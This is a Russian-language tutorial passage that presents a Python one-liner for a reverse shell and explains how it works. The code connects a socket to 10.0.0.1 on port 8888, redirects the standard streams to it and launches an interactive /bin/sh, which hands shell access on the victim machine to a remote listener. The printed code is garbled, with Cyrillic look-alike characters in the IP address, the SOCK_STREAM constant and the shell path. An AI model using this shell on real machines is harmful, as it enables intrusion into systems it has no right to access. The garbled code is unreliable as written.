Чтобы закинуть код на удаленную машину, удобно иметь его в виде одной строки. Благо в Python есть все необходимое, чтобы уместить код клиента в одну недлинную строку. Вот как она выглядит. python -с 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAМ); s.connect(("1О.О.О.1", 8888)); os.dup2 (s.fileno(), О) ; os.dup2 (s.fileno(), 1) ; os.dup2(s.fileno(), 2);p=subprocess.call(["/Ьin/sh", "-i"]);'
Ключ -с позволяет передать программу в качестве параметра.
Чтобы понять, как это работает, нужно знать, что такое файловые дескрипторы. Если совсем по-простому, то это некие целые неотрицательные числа, которые возвращаются процессу после того, как он создаст поток ввода-вывода и поток диагностики. В UNIX устоявшиеся названия потоков - это О, 1 и 2. О соответствует стандартному вводу процесса (терминал), 1- стандартный вывод (терминал), 2- поток диагностики (файл с сообщениями об ошибках)
Метод dup2 () предназначен для того, чтобы менять значения файловых дескрипторов. fileno () - это метод объекта типа socket, который возвращает файловый дескриптор сокета. А при помощи метода dup2 () мы меняем дескрипторы ввода-вывода и ошибок на соответствующие дескрипторы сокета. os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) То есть, считай, мы взяли и сделали наш сокет полноценным процессом. Что это нам дает? Мы можем запустить терминал и использовать его! Для этого нужна вот эта строка: p=subprocess.call(['/Ьin/sh', '-i'])